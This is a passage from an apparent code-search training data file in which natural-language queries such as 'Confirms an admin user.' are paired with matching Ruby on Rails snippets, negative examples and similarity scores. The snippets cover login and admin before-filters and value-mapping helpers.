flash[:danger] = \"You must be logged in to perform this action\"\n redirect_to :back\n end\n end", "def authenticate_current_user_as_invited_user\n\t unless current_user == @invitation.invited_user\n\t redirect_to :back, alert: 'This invitation is not for you!'\n\t end\n\t end", "def authorized\n redirect_to \"/login\" unless logged_in? \n end", "def require_user\n if !is_logged_in\n flash[:danger] = 'You must be logged in to perform this action'\n redirect_to root_path\n end\n end", "def authenticate_current_user\n unless current_user.admin == true\n unless current_user == User.find(params[:id]) \n flash[:danger] = \"Impossible d'aller sur cette page.\"\n redirect_to root_path\n end\n end\n end", "def pre_authorize_cb; end", "def authorize\n @logged_in_user = User.find(session[:user_id])\n rescue\n reset_session\n @logged_in_user = nil\n if User.find(:all).length > 0\n session[:jumpto] = request.parameters\n redirect_to :controller => 'authentication', :action => :login and return false\n else\n redirect_to :controller => 'authentication', :action => :setup and return false\n end\n end", "def pre_resend\n \t@user = User.find(params[:id])\n \tif @user.user_state == \"confirmed\"\n flash[:notice] = \"\" + @user.first_name + \", your account is already confirmed.\"\n redirect_to(:action => 'already_confirmed', :id => params[:id])\n else\n render :layout => 'clean'\n end\n end", "def logged_in_user\n unless !current_user.nil?\n flash[:danger] = \"Please log in.\"\n redirect_to root_path\n end\n end", "def authorize\n unless User.find_by_id(session[:user_id])\n redirect_to :log_in, :notice => \"Please log in\"\n end\n end", "def correct_user\n return if current_user_is_admin? || current_user.id == @comment.user_id\n flash[:danger] = 'Not authorized.'\n redirect_to users_path\n end", "def user_authenticated\n redirect_to root_url, alert: 'You must be logged in to go here' unless current_user\n end", "def require_user\n if !logged_in?\n flash[:alert] = \"You must be logged in to perform that action\"\n redirect_to login_path\n end\n end", "def require_equal_user\n if @user.id != current_user.id\n render :file => \"#{Rails.public_path}/401.html\", :layout => true, :status => :unauthorized\n end\n end", "def verify_user\n return if (@user = current_user)\n flash[:notice] = I18n.t('blacklight.saved_searches.need_login')\n raise Blacklight::Exceptions::AccessDenied\n end", "def check_user\n if user_signed_in?\n else\n redirect_to root_path, :alert => \"Unauthorised Access\"\n end\n \n end", "def check_user\n if user_signed_in?\n else\n redirect_to root_path, :alert => \"Unauthorised Access\"\n end\n \n end", "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to root_path\n end\n end", "def authorize\n redirect_to new_session_path unless logged_in?\n end", "def authorize_user\n unless current_user.id == @profile.user_id\n flash[:unauthorized] = \"Not authorized\"\n redirect_to listings_path\n end \n end", "def prevent_user\n if session[:is_admin] != true and params[:user_id].to_i != @current_user.id\n redirect_to products_path\n end\n end", "def authorize\n unless User.find_by_id( session[ :user_id ] )\n session[ :original_uri ] = request.request_uri\n flash[ :notice ] = \"Please log in\"\n redirect_to :controller => :login, :action => :login\n end\n end", "def authenticate_correct_user\n redirect_unauthorized unless current_user? @run.user_id\n end", "def correct_user\n if request.subdomain.present? && request.subdomain != \"www\"\n if user_signed_in?\n if params[:controller] == 'static_pages' && params[:action] == 'home'\n elsif params[:controller] == 'pages' && params[:action] == 'show'\n elsif params[:controller] == 'static_pages' && params[:action] == 'leasing'\n elsif params[:controller] == 'availabilities' && params[:action] == 'show'\n else\n @subdomain = request.subdomain\n @site = Site.where(subdomain: request.subdomain).first\n @user = User.where(id: @site.user_id).first\n if @user.id != current_user.id\n redirect_to (root_url(:subdomain => false) + \"dashboard\")\n # sign_out(@user)\n end\n end\n end\n end\n end", "def authorize \n redirect_to login_url, notice: \"Please log in\" if session[:user_id].nil?\n end", "def correct_user\n redirect_to(root_url) unless @user == current_user\n end", "def require_login\n redirect_to login_path, notice: 'The requested action requires you to log in' unless session[:user_id]\n end", "def require_user\n if !logged_in?\n flash[:alert] = \"You must be logged in to perform that action\"\n redirect_to login_path\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to root_path\n end\n end", "def ensure_user\n current_user? || deny_access('You must be logged in to perform this action.')\n end", "def authorize\n if current_user != @profile.username\n flash[:alert] = \"Cannot access this profile\"\n redirect_to root_path\n end\n end" ]
[ "0.6569166", "0.6430658", "0.6423167", "0.64137745", "0.63995165", "0.62902534", "0.6249426", "0.6248803", "0.6218758", "0.6173909", "0.612472", "0.61157626", "0.60806084", "0.6062998", "0.6040006", "0.60308075", "0.6022445", "0.60193825", "0.6015744", "0.6000973", "0.5993021", "0.5991861", "0.5990247", "0.59732157", "0.59731853", "0.5957767", "0.5956104", "0.5951737", "0.5947172", "0.592623", "0.5921581", "0.59179676", "0.59034806", "0.5887522", "0.5884948", "0.58768743", "0.58765846", "0.58758426", "0.58735776", "0.587279", "0.58721757", "0.5871094", "0.58678186", "0.58597577", "0.585962", "0.5846623", "0.58431613", "0.583902", "0.58359814", "0.5830664", "0.58259964", "0.58206636", "0.5820238", "0.58191544", "0.5812869", "0.58108264", "0.58006203", "0.57966095", "0.5791977", "0.5786464", "0.57773817", "0.57712746", "0.5759577", "0.5757955", "0.5757765", "0.5755161", "0.5748342", "0.5743378", "0.57423174", "0.57420623", "0.57306045", "0.5729118", "0.57244396", "0.57210755", "0.57175434", "0.5717196", "0.57168984", "0.5715941", "0.57074636", "0.5706773", "0.57067716", "0.57058156", "0.5702965", "0.5699887", "0.56984425", "0.5697734", "0.5697734", "0.5697636", "0.56975067", "0.56961983", "0.5695846", "0.5695014", "0.56949896", "0.56883526", "0.5687561", "0.56852823", "0.56833124", "0.5683292", "0.56819636", "0.56762284", "0.56755614" ]
0.0
-1
Confirms an admin user.
def admin_user redirect_to(root_url) unless current_user.admin? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def confirm_admin\n \tunless session[:admin]\n \t\tflash[:notice] = \"You are not an admin.\"\n \t\tredirect_to(user_path( :id => session[:user_id]))\n \tend\n end", "def admin_user\n\t\t\tflash_text = \"Administrative privilege required to perform this action.\"\n\t\t\tflash[:danger] = flash_text unless current_user.admin?\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend", "def admin_user\n if user_signed_in? && current_user.adminrole?\n flash.now[:success] = \"Admin Access Granted\"\n else\n redirect_to root_path\n end\n end", "def admin_user\n if(!current_user.admin?)\n flash[:danger] = \"Access Denied. Admin required\"\n redirect_to root_url\n end\n end", "def admin_user\n unless current_user.is_admin?\n flash[:danger] = \"Keine Berechtigung.\"\n redirect_to(root_url)\n end\n end", "def admin_user\n unless current_user.is_admin?\n flash[:danger] = \"Keine Berechtigung.\"\n redirect_to(root_url)\n end\n end", "def admin_user\n redirect_to(root_url) and flash[:danger] = \"Only admins can do that!\" unless current_user.admin?\n\n end", "def admin_user\n unless this_is_admin?(current_user)\n flash[:danger] = \"You don't have the rights for this action.\"\n redirect_to(root_url)\n end\n end", "def admin_user\n unless this_is_admin?(current_user)\n flash[:danger] = \"You don't have the rights for this action.\"\n redirect_to(root_url)\n end\n end", "def admin\n unless current_user.admin?\n flash[:danger] = \"Sorry, you must be an admin to do that.\"\n redirect_to user_path(current_user)\n end\n end", "def confirm_admin\n @confirm_admin = true if session[:role_name] == 'Administrator'\n end", "def confirm_admin\n redirect_to root_path unless current_user.admin?\n end", "def admin_user\n unless current_user.admin?\n flash[:danger] = \"You do not have the permission to do that.\"\n redirect_to home_path\n end\n end", "def admin_user\n\t unless current_user.admin?\n flash[:danger] = \"Log in as Admin.\"\n redirect_to(root_url)\n\t end \n\t end", "def admin_user\n unless current_user && current_user.admin?\n store_location\n flash[:danger] = \"Please log in as admin.\"\n redirect_to users_url\n end\n end", "def be_admin\n if current_user.switch_to(\"admin\")\n flash[:notice] = \"You have now an 'admin' role\"\n else\n flash[:error] = \"You are not authorized to have a 'admin' role\"\n end\n redirect_to( request.env[\"HTTP_REFERER\"])\n end", "def admin_user\n\t\tunless admin? \n\t\t\tflash[:danger] = \"Only administrators have access to this page\"\n\t\t\tredirect_back_or(root_url) \n\t\tend\n\tend", "def admin_user!\n unless signed_in? and current_user.admin?\n\t flash[:notice]=\"Por favor inicie sesión como administrador\".encode('UTF-8')\n\t redirect_back(fallback_location: root_path) \n end\n end", "def admin_user\n unless @is_admin\n flash[:danger] = \"Must be admin to modify recipes\"\n redirect_to(recipes_url) \n end\n end", "def admin_user \n if (!current_user.lunches_admin?) \n flash[:alert] = 'You not allowed to edit menu.'\n \n redirect_to(root_url)\n end\n end", "def admin_user\n redirect_to(root_path) unless current_user.try(:admin?) || current_user?(@user)\n end", "def verify_admin\n if !current_user.present? || current_user.email != I18n.t('general.admin_email')\n redirect_to concerts_path\n flash[:notice] = I18n.t('general.log_as_admin')\n end\n end", "def admin_user\n redirect_to(root_path) unless (current_user != nil && current_user.admin == true)\n end", "def admin_user\n unless @is_admin\n flash[:danger] = \"Must be admin to modify recipes\"\n redirect_to(recipes_url) \n end\n end", "def admin_user\n redirect_to root_url, notice: \"You do not have permission to view or edit this information.\" unless current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless !current_user?(@user) && current_user.admin?\n end", "def admin_user\n \n unless current_user.admin?\n \tflash[:danger] = \"Please log in with the correct user name.\"\n \tredirect_to(root_url)\n end\n end", "def admin_user\n unless current_user && current_user.admin?\n redirect_to login_url, notice: \"admin can only do this action.\" \n end\n end", "def admin_user\n redirect_to(root_path) unless is_admin?\n end", "def correct_user\n\t\t\tauthenticate_user!\n\t\t\tunless @user == current_user || current_user.admin?\n\t\t\t\tredirect_to (root_path)\n\t\t\t\tflash[:alert]\n\t\t\tend\n\t\tend", "def admin\n unless current_user.admin?\n redirect_to root_url\n flash[:danger] = \"You have no access here\"\n end\n end", "def admin_user\n if logged_in?\n redirect_to(root_url) unless current_user.admin?\n else\n flash[:danger] = \"You reached an invalid url and have been redirected to the home page.\"\n redirect_to(root_url)\n end\n end", "def admin_user\n @user = current_user\n redirect_to @user unless @user.admin?\n end", "def admin_user\n if (!current_user || current_user.username != 'admin')\n redirect_to(root_url)\n end\n end", "def check_admin\n redirect_to root_path, alert: \"You do not have admin privileges.\" unless current_user.admin\n end", "def check_admin\n redirect_to root_path, alert: \"You do not have admin privileges.\" unless current_user.admin\n end", "def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend", "def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend", "def admin_user\n\t\tredirect_to(root_url) unless current_user.admin? #NB il metodo \"admin?\" è stato aggiunto direttamente da Rails quando alla creazione ha visto che admin è un booleano\n\tend", "def admin_user\n #redirect_to(root_url) unless\n current_user.admin?\n end", "def admin_user\n #redirect_to(root_url) unless\n current_user.admin?\n end", "def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t end", "def correct_user\n @userAdmin = UserAdmin.find(params[:id])\n unless current_user?(@userAdmin)\n flash[:danger] = \"You don't have the rights for this page/action.\"\n redirect_to(root_url)\n end\n end", "def admin_user\n redirect_to(root_url) unless user_signed_in? && current_user.admin?\n end", "def admin_user\n redirect_to(root_url) unless user_signed_in? && current_user.admin?\n end", "def admin_user\n redirect_to(root_path) unless current_user.admin?\n end", "def admin_user\n redirect_to(root_path) unless current_user.admin?\n end", "def admin\n\t\tauthenticate_user!\n\t if current_user.admin\n\t\t return\n\t else\n\t\t redirect_to root_url\n\t end\n\tend", "def check_admin_user\n unless current_user && current_user.privilege_admin?\n flash[:danger] = \"You do not have permission to perform this operation\"\n redirect_to root_path\n end\n end", "def verify_admin_of_user\n redirect_to admins_path,\n flash: { alert: I18n.t(\"administrator.flash.unauthorized\") } unless current_user.admin_of?(@user, \"can_manage_users\")\n end", "def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.is_admin?\n end", "def admin_user\n unless admin_user?\n redirect_to login_url\n end\n end", "def check_admin_status\n if current_user.nil? || !current_user.admin?\n flash[:alert] = \"Access denied. Please login as an admin user\"\n redirect_to root_url\n end\n end", "def check_admin_status\n if current_user.nil? || !current_user.admin?\n flash[:alert] = \"Access denied. Please login as an admin user\"\n redirect_to root_url\n end\n end", "def admin_user\n redirect_to(admin_admins_path) unless current_user.admin?\n end", "def admin_user\n redirect_to(current_user) unless current_user.admin?\n end", "def admin!\n redirect_to root_path, alert: \"Not authorized\" and return unless is_admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin? # se current_user.admin for falso redireciona para pagina principal\n end", "def authenticate_admin\n\t\tauthenticate_user!\n\t\tunless current_user.approved == 1\n\t\t\tsign_out\n\t\t\tflash[:error] = \"User is not admin! Try again using another username!\"\n\t\t\tredirect_to new_user_session_path\n\t\t\t# redirect_to new_user_session_path\n\t\tend\n\tend", "def correct_admin\n @admin_admin = Admin::Admin.find(params[:id])\n redirect_to(admin_admins_path) unless current_user?(@admin_admin)\n end", "def admin_user\n unless logged_in? && current_user.admin?\n redirect_to root_url\n end\n end", "def req_admin\n unless curr_user.admin\n flash[:danger] = \"You must be admin to go there!\"\n redirect_to root_url\n end\n end" ]
[ "0.79044944", "0.767215", "0.76483077", "0.76210374", "0.7605678", "0.7605678", "0.75945777", "0.7588445", "0.7588445", "0.7503662", "0.74675834", "0.7451482", "0.7424005", "0.7411313", "0.74107665", "0.7402138", "0.73993605", "0.7358812", "0.7329228", "0.73179626", "0.7312765", "0.72796166", "0.7269636", "0.7246544", "0.72386354", "0.7231975", "0.72179013", "0.7173976", "0.71720684", "0.7166012", "0.71593285", "0.71537924", "0.7137113", "0.7124807", "0.71221524", "0.71221524", "0.7120586", "0.7120586", "0.7120474", "0.7118341", "0.7118341", "0.7118329", "0.7113378", "0.710956", "0.710956", "0.71021533", "0.71021533", "0.7098989", "0.709487", "0.7092022", "0.70904475", "0.70904475", "0.70904475", "0.70904475", "0.7076285", "0.7067073", "0.7067073", "0.7066295", "0.70532054", "0.7049086", "0.7041013", "0.703546", "0.70188206", "0.701779", "0.70146185" ]
0.0
-1
Maps single value or array with given map.
def map_with(map, val) if val.is_a?(Array) val.map { |x| map.fetch(x, x) } else map.fetch(val, val) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def map_converter(map)\n lambda do |value|\n map.key?(value) ? map[value] : value\n end\n end", "def map_value(key, value)\n case value\n when Array\n value.map { |v| map_value(nil, v) }\n when Hash\n return custom_deep_symbolic_hash(value) unless is_a_custom_key?(key)\n map_value(nil, array_from_mess(value))\n else\n value\n end\n end", "def map(*args, &blk) values.map(*args, &blk) ; end", "def apply_map(to_value, description = '')\n @mapped = true\n @value = to_value\n @map_description = description\n nil\n end", "def map(value, method)\n value.map do |item|\n @mapper.send(method, item)\n end\n end", "def map_value(thing)\n case thing\n when ::Hash\n thing.camelize_recursive\n when Array\n thing.map { |v| map_value(v) }\n else\n thing\n end\nend", "def translation_map(values, maps)\n translation_map = Traject::TranslationMap.new(*Array(maps))\n translation_map.translate_array Array(values)\n end", "def Map(key_type, value_type)\n Nominal(::Hash).map(key_type, value_type)\n end", "def setMapValue(x, y, value)\n index = self.getMapIndex(x, y)\n return @mapArray[index] = value;\n end", "def map(defined_map)\n defined_map.execute\n end", "def dd_map(arr)\n\n end", "def build_map(value)\n { \"_type\" => type_key, \"_value\" => value }\n end", "def map_array(array, map)\n mapped = {}\n\n array.each_with_index do |item, index|\n mapped[map.key(index)] = item\n end\n\n mapped\n end", "def visit_map(binding_type)\n in_value = self.input\n out_value = binding_type.definition.new_value()\n struct_def = binding_type.definition.element_type\n in_value.each { |k, v|\n struct_val = struct_def.new_value()\n self.input = k\n visit(binding_type.key_type)\n struct_val.set_field(MAP_KEY_FIELD, result)\n self.input = v\n visit(binding_type.value_type)\n struct_val.set_field(MAP_VALUE_FIELD, result)\n out_value.add(struct_val)\n }\n self.input = in_value\n self.result = out_value\n end", "def call(map)\n map.reduce({}) do |memo, (key, value)|\n memo[key] = value.to_f\n memo\n end\n end", "def map(hash); end", "def map(proc = nil, &block)\n func = (proc || block)\n return self.class.unit(func.call(@value))\n end", "def map_value!(hash, key, fn)\n hash.update(key => fn[hash[key]])\n end", "def s_map(el, klass)\n case el\n when Array then el.map { |i| s_map(i, klass) }\n when NilClass then nil\n else\n klass.new(el).to_s\n end\n end", "def simple_map(*fields)\n fields.flatten.map(&:to_sym).each { |s| transform_map[s] = raw_transform_map[s] }\n end", "def maps(x)\nend", "def MAP(match, value)\n Puppet::Pops::Model::Factory.MAP(match, value)\n end", "def map\n yield(@value)\n end", "def add_map(name, key_type, value_type)\n Map.new(name, type(key_type), type(value_type)).tap do |column|\n @data_columns << add_column(column)\n end\n end", "def apply_cast(val, cast_method)\n if val.respond_to?(:map)\n val.map { |v| send(cast_method, v) }\n else\n send(cast_method, val)\n end\n end", "def serialize_by_map(value, map, serializers)\n if value.is_a?(Array)\n return (value.collect {|v| serialize_by_map(v, map, serializers)})\n end\n\n result = {}\n map.each do |key|\n begin\n if key.is_a?(String) || key.is_a?(Symbol)\n result[key.to_s] = hash_serialize(value.send(key.to_sym), :serializers => serializers)\n else\n k = key.keys.first\n helper = key[k]\n if helper.is_a?(Proc)\n # Invoke the proc, passing in the top object, serialize, set using name\n result[k.to_s] = hash_serialize(helper.call(value), :serializers => serializers)\n elsif helper.is_a?(Array)\n # Call name on the object to get raw value, then serialize with sub-map, and set using name\n child = value.send(k.to_sym)\n result[k.to_s] = serialize_by_map(child, helper, serializers)\n else\n # Eval string against the top object, serialize result, and set result using name\n result[k.to_s] = hash_serialize(eval(\"value.#{helper}\"), :serializers => serializers)\n end\n end\n rescue Exception => err\n puts \"Error serializing '#{key} in #{value}: #{err.message}\"\n puts err.backtrace.join(\"\\n\")\n end\n end\n result\n end", "def get_pin map, value #:nodoc:\n value = value.to_sym if value.is_a? String\n value = map[value] if map.has_key? value\n value\n end", "def map(*args)\n each {|x| x.map(*args)}\n end", "def map\n unless params[:id].nil?\n return not_found unless map = Map[params[:id].to_i]\n ok map.to_a\n else\n not_found\n end\n end", "def apply(mapping, data)\n transformation = @mappings[mapping]\n return data unless transformation\n\n case data\n when nil\n data\n when Array\n data.map { |datas| transformation.call(datas) }\n else\n transformation.call(data)\n end\n end", "def map_values!(hash, fn)\n hash.each { |key, value| hash[key] = fn[value] }\n hash\n end", "def dd_map\n map { |el| el.is_a?(Array) ? dd_map(el) : el }\nend", "def set(value)\n mutate build_map(value)\n end", "def map\n raise NotImplementedError\n end", "def set(key,value)\n @map.each do |subArray|\n if subArray[0] == key\n subArray[1] = value\n return @map\n end\n end\n\n @map << [key,value]\n end", "def map_to(hash)\n ->(x) { hash[x] }\n end", "def map_value(converted_value:)\n calling_mapper.for(\n Property.new(\n value.subject,\n value.key,\n converted_value,\n value.adapter,\n value.resource\n )\n ).result\n end", "def coerce(first, second)\n @map[[first.class, second.class]].call(first, second)\n end", "def map(key_type_class, value_type_class, name, tag, options = {})\n # manufacture a message that represents the map entry, used for\n # serialization and deserialization\n entry_type = Class.new(::Protobuf::Message) do\n set_option :map_entry, true\n optional key_type_class, :key, 1\n optional value_type_class, :value, 2\n end\n define_field(:repeated, entry_type, name, tag, options)\n end", "def []= key, value\n @map[key] = value\n end", "def from_value(value)\n case value\n when Hash\n from_hash(value)\n when Array\n value.map do |item|\n from_value(item)\n end\n else\n value\n end\n end", "def convert_value(value)\n case value\n when Array\n value.map! {|array_value| convert_value(array_value)}\n value\n when Hash\n Proxy.new(value)\n else\n value.nil? ? NO_OBJECT : value\n end\n end", "def map\n raise 'subclass must implement to return a value', NotImplementedError\n end", "def map; end", "def mapping=( arg )\n\t\t\t@mapping = arg\n\t\t\[email protected]_pair{|key, value| instance_variable_set(key,value)}\n\t\tend", "def dd_map\n map { |el| el.is_a?(Array) ? el.dd_map : el }\nend", "def set(key, value)\n pair_idx = @map_arr.index { |pair| pair[0] == key }\n\n if pair_idx\n @map_arr[pair_idx][1] = value\n else\n @map_arr << [key, value]\n end\n\n value\n end", "def my_map p=nil\n return self.to_enum(__method__) unless (block_given?||!p.nil?)\n out = [] # map always returns arrays\n self.my_each {|v| out << (p.nil? ? yield(v) : p.call(v))}\n out\n end", "def convert(value)\n case value\n when java.util.List then value.to_a\n when java.util.Set then value.to_set\n when java.util.Map then value.to_hash\n else value\n end\n end", "def map\n end", "def map\n end", "def initialize_mapping\n @mapping = primitives.map(&:mapping).reduce(:merge) || {}\n end", "def map(mappings = nil)\n @map ||= from_superclass(:map, {})\n\n if mappings\n mappings.each do |key, value|\n if key.respond_to?(:each)\n key.each { |subkey| @map[subkey] = value }\n else\n @map[key] = value\n end\n end\n end\n\n @map\n end", "def map(input, property); end", "def set_value(value)\n if value.is_a? Array\n @map = nil\n @array = ParsedArray.new @global\n @array.abstractArrayItems = []\n value.each do |item|\n array_item = ParsedArrayItem.new @global\n array_item.arrayValueItem = ParsedArrayValueItem.new @global\n array_item.arrayValueItem.primitive = ParsedPrimitive.new(@global)\n array_item.arrayValueItem.primitive.string = ParsedString.new(item)\n array_item.arrayValueItem.primitive.text = item\n @array.abstractArrayItems << array_item\n end\n @valueItem = nil\n @text = @array.extract_hash\n return\n elsif value.is_a?(ParsedPair)\n @map = value.map ? value.map : nil\n @array = value.array ? value.array : nil\n @valueItem = value.valueItem ? value.valueItem : nil\n return\n elsif value.is_a?(TrueClass) || value.is_a?(FalseClass)\n @map = nil\n @array = nil\n @valueItem = ParsedValueItem.new @global\n @valueItem.value = ParsedValue.new @global\n @valueItem.value.primitive = ParsedPrimitive.new(@global)\n if value\n @valueItem.value.primitive.trueVal = ParsedTrue.instance\n else\n @valueItem.value.primitive.falseVal = ParsedFalse.instance\n end\n @valueItem.value.primitive.text = value\n @valueItem.value.text = value\n @text = value\n return\n end\n value = value.extract_hash unless value.is_a?(String) || value.is_a?(Integer)\n @map = nil\n @array = nil\n @valueItem = ParsedValueItem.new @global\n @valueItem.value = ParsedString.new(value)\n @text = value\n end", "def map_integer(ident, &block) ; map_primitive(:integer, ident, &block) ; end", "def value_map(value)\n v = case value.class\n when Array\n value.join(',')\n when Range\n \"#{value.first}-#{value.last}\"\n when Hash\n if value.has_key?(:or)\n \"|#{value[:or].join(',')}\"\n elsif value.has_key?(:not)\n \"~#{value[:not].join(',')}\"\n end\n when TrueClass\n \"Y\"\n when FalseClass\n \"N\"\n else\n value\n end\n v\n end", "def map\r\n\t\t\t@maps[@map]\r\n\t\tend", "def set_map!(values)\n @objects = {}\n @memory = FFI::MemoryPointer.new(MsgKeyValue,values.length)\n\n values.each_with_index do |(key,value),index|\n pair = MsgKeyValue.new(@memory[index])\n\n key_obj = MsgObject.new_object(key,pair[:key].to_ptr)\n value_obj = MsgObject.new_object(value,pair[:value].to_ptr)\n\n @objects[key_obj] = value_obj\n end\n\n self[:type] = :map\n\n map = self[:values][:map]\n map[:size] = values.length\n map[:ptr] = @memory\n end", "def map name\n @mapper[name]\n end", "def map\n self.class.new(yield(value))\n end", "def map(&block)\n mapper.instance_eval(&block)\n end", "def chain_map(value, arr)\n arr.each do |proc_idx|\n value = proc_idx.call(value)\n end\n value\nend", "def map\n end", "def map_or_apply(unknown_object, function)\n unknown_object.is_a?(Array) ? unknown_object.map(&function) : function.(unknown_object)\n end", "def map_or_apply(unknown_object, function)\n unknown_object.is_a?(Array) ? unknown_object.map(&function) : function.(unknown_object)\n end", "def sso_mapping=(value)\n if value.blank?\n value = nil\n else\n value = JSON.parse value if value.is_a? String\n end\n super(value)\n end", "def map_to_savon(mapping_name, value)\n mapping = all_type_mappings[mapping_name]\n mapping = SavonHelper.define_missing_type_mapping(self.class, mapping_name, value, type_mappings, interface) if mapping.nil?\n return nil if value.nil?\n mapping.to_savon(value)\n end", "def to_map(entry)\n def entry.map\n @myhash\n end\n entry.map\n end", "def map(hash)\n Map.new(hash)\n end", "def associate_value_to_parts(plate:, data_map:, key:)\n data_map.each do |loc_val_array|\n loc_val_array[3] = key\n end\n associate_value_key_to_parts(plate: plate, data_map: data_map)\n end", "def visit_map(binding_type)\n orig_input = self.input # save\n out_map = {}\n for ev in orig_input.value\n key = visit_struct_field(ev.get_field(binding_type.key_name),\n binding_type.key_type)\n if out_map.include? key\n report_error('vapi.bindings.typeconverter.map.duplicate.key', key)\n end\n value = visit_struct_field(ev.get_field(binding_type.value_name),\n binding_type.value_type)\n out_map[key] = value\n end\n self.input = orig_input # restore\n self.result = out_map\n end", "def set(key, value)\n updated = false\n if self.map_var[0].empty?\n self.map_var[0] = [key, value]\n updated = true\n else \n self.map_var.each do |pair| \n if pair[0] == key \n pair[1] = value \n updated = true\n end\n end \n end\n self.map_var << [key, value] if !updated\n updated \n end", "def test_maps_one_element\n stream = FromArray.new([1])\n strings = stream.map { |num| num.to_s }.collect\n strings.each do |val|\n assert(val.is_a?(String))\n end\n end", "def assign(key,value)\n #first check to see if the key value pair already exists\n pair_index = nil\n @map.each_with_index do |sub_array,idx|\n pair_index = idx if sub_array[0] == key\n end\n if pair_index.nil?\n @map << [key,value]\n else\n @map[pair_index]=[key,value]\n end\n end", "def _mapping_data(object_type, key_obj, object_opts, value)\n value_mapping = object_opts.rh_get(:value_mapping, key_obj.fpath)\n if value_mapping && !value.nil?\n value_mapping.each do |map_key, map_value|\n next unless value == map_value\n Lorj.debug(5, \"Object '%s' value mapped '%s': '%s' => '%s'\",\n object_type, key_obj.tree,\n value, map_value)\n return map_key\n end\n PrcLib.runtime_fail(\"'%s.%s': No controller value mapping for '%s'.\",\n object_type, key_obj.tree, value)\n end\n\n Lorj.debug(5, \"Object '%s' value '%s' extracted: '%s'\",\n object_type, key_obj.tree, value)\n value\n end", "def add_field_from_map!(result, map, field_name, key_name)\n out = []\n result.each do |record|\n record[field_name] = map[record[key_name]] if map.has_key?(record[key_name])\n end\n end", "def flat_map\n yield(value)\n end", "def assign(key, value)\n pair_idx = @map.index { |pair| pair[0] == key}\n if pair_idx.nil?\n @map << [key, value]\n else\n @map[pair_idx][1] = value\n end\n #refractored\n # pair_idx ? @map[pair_idx][1] = value : @map << [key, value]\n [key, value]\n end", "def map(memoize=false, &b)\n (memoize ? Memoized::Mapped : Mapped).new(self, &b)\n end", "def a(*args)\n return map.a if args.empty?\n super\n end", "def map(method_name = nil, *args, &block)\n return if blank?\n if method_name\n @value = @value.public_send(method_name, *args, &block)\n else\n @value = block.call @value\n end\n end", "def set_row_by_map(key, value)\n begin\n @row[@key_map[key].index] = value\n rescue => err\n raise UnknownVariableKeyError, \"#{key} not defined\" unless @key_map.has_key? key\n raise err\n end\n end", "def map(**args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/map\", options: params.compact)\n end", "def map(**args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/map\", options: params.compact)\n end", "def mapping(mhash)\n @mapping = mhash\n end", "def transform_value(value)\n if value.is_a?(::Enumerable)\n value.map { |v| value_transformation.call(v) }\n else\n value_transformation.call(value)\n end\n end", "def mapped_mget(*keys); end", "def map\n\n end", "def map(map_name)\n @map = map_name.dup.to_s\n @suite_map = false\n end", "def from_hash(value, metadata = {})\n return value unless @from_hash\n\n if value.respond_to? :map\n value = normalize(value, metadata)\n end\n @from_hash.call value\n end", "def add(map)\n if map.normalized?\n raise \"Duplicate map name #{map.name}\" if @maps_by_name.include?(map.name)\n @maps_by_name[map.name] = map\n #When there are 2 maps from same class to other classes non will be found by default\n add_to_index(@maps_by_from, map.from.clazz.to_s, map)\n\n #When there are 2 maps from same class to same class non will be found by default\n from_to_key = [map.from.clazz.to_s, map.to.clazz.to_s]\n add_to_index(@maps_by_from_to, from_to_key, map)\n else\n raise \"Duplicate map name #{map.name}\" if @bidi_maps_by_name.include?(map.name)\n @bidi_maps_by_name[map.name] = map\n\n add_to_index(@bidi_maps_by_class, map.left.clazz.to_s, map)\n add_to_index(@bidi_maps_by_class, map.right.clazz.to_s, map)\n end\n end", "def map(&blk)\n _values.map(&blk)\n end", "def map!\n end", "def map(&block)\n return zero if nothing?\n return Maybe.new block.call(value) if just?\n end", "def set_map\n @map = Map.find(params[:id])\n end", "def set_map\n @map = Map.find(params[:id])\n end", "def set_map\n @map = Map.find(params[:id])\n end", "def set_map\n @map = Map.find(params[:id])\n end", "def set_map\n @map = Map.find(params[:id])\n end" ]
[ "0.6903637", "0.6730288", "0.6639748", "0.6348998", "0.6162186", "0.61468923", "0.6084565", "0.5985755", "0.596113", "0.5901821", "0.5827685", "0.581829", "0.5814871", "0.5795801", "0.5753037", "0.57480794", "0.57296085", "0.5722526", "0.5704943", "0.5689017", "0.56621367", "0.5646199", "0.5629918", "0.56062555", "0.5601589", "0.5574121", "0.55709875", "0.5569527", "0.5555072", "0.55522597", "0.5539936", "0.5529255", "0.5525624", "0.54908013", "0.5488959", "0.5487224", "0.5478555", "0.5465247", "0.5462786", "0.54585123", "0.5436965", "0.5394582", "0.53874695", "0.53721994", "0.53714013", "0.53676695", "0.5361289", "0.5350021", "0.53487456", "0.53325564", "0.53325564", "0.5327215", "0.53192085", "0.53151727", "0.5312644", "0.53112847", "0.529693", "0.528793", "0.5281839", "0.52655005", "0.5262443", "0.52623194", "0.52563965", "0.5252236", "0.52490044", "0.52490044", "0.5247074", "0.5245386", "0.5241631", "0.5240814", "0.5221637", "0.5215754", "0.5200447", "0.51975703", "0.5179486", "0.5178483", "0.5178117", "0.51744163", "0.5168305", "0.51660365", "0.5163616", "0.51629037", "0.5155003", "0.51401", "0.51401", "0.5131602", "0.51254874", "0.51250815", "0.5123384", "0.51227486", "0.5118186", "0.511444", "0.5109904", "0.50945836", "0.5085912", "0.5069968", "0.50690025", "0.50690025", "0.50690025", "0.50690025" ]
0.72425926
0
Don't put anything above this
def to_param to_s end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
